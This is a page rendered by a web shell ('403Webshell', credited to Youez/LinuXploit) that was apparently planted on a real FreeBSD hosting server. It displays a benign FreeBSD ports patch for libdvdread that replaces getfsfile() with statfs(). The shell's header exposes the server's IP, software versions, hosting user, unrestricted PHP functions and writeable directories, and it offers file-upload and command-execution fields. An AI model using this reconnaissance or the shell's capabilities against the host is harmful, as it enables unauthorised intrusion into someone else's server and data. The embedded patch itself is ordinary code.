403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.236
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/multimedia/libdvdread/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/multimedia/libdvdread/files/patch-src-dvd_reader.c
Use statfs() instead of getfsfile() to get device name from a mount point.

(getfsfile() requires an entry in the fstab file which is often not the case
for removable media)

--- src/dvd_reader.c.orig	2020-03-04 18:57:19 UTC
+++ src/dvd_reader.c
@@ -64,7 +64,7 @@ static inline int _private_gettimeofday( struct timeva
 # include <sys/ucred.h>
 # include <sys/mount.h>
 #elif defined(SYS_BSD)
-# include <fstab.h>
+# include <sys/mount.h>
 #elif defined(__linux__)
 # include <mntent.h>
 # include <paths.h>
@@ -435,7 +435,7 @@ static dvd_reader_t *DVDOpenCommon( void *priv,
     return ctx;
   } else if( S_ISDIR( fileinfo.st_mode ) ) {
 #if defined(SYS_BSD)
-    struct fstab* fe;
+    struct statfs fs;
 #elif defined(__sun) || defined(__linux__)
     FILE *mntfile;
 #endif
@@ -525,13 +525,15 @@ static dvd_reader_t *DVDOpenCommon( void *priv,
         }
     }
 #elif defined(SYS_BSD)
-    if( ( fe = getfsfile( path_copy ) ) ) {
-      dev_name = bsd_block2char( fe->fs_spec );
-      Log3(ctx, "Attempting to use device %s"
-               " mounted on %s for CSS authentication",
-               dev_name,
-               fe->fs_file );
-      ctx->rd = DVDOpenImageFile( ctx, dev_name, NULL, have_css );
+    if( statfs( path_copy, &fs ) == 0 ) {
+        if( !strcmp( path_copy, fs.f_mntonname ) ) {
+            dev_name = bsd_block2char( fs.f_mntfromname );
+            Log3(ctx, "Attempting to use device %s"
+                     " mounted on %s for CSS authentication",
+                     dev_name,
+                     fs.f_mntonname );
+            ctx->rd = DVDOpenImageFile( ctx, dev_name, NULL, have_css );
+        }
     }
 #elif defined(__sun)
     mntfile = fopen( MNTTAB, "r" );

Youez - 2016 - github.com/yon3zu
LinuXploit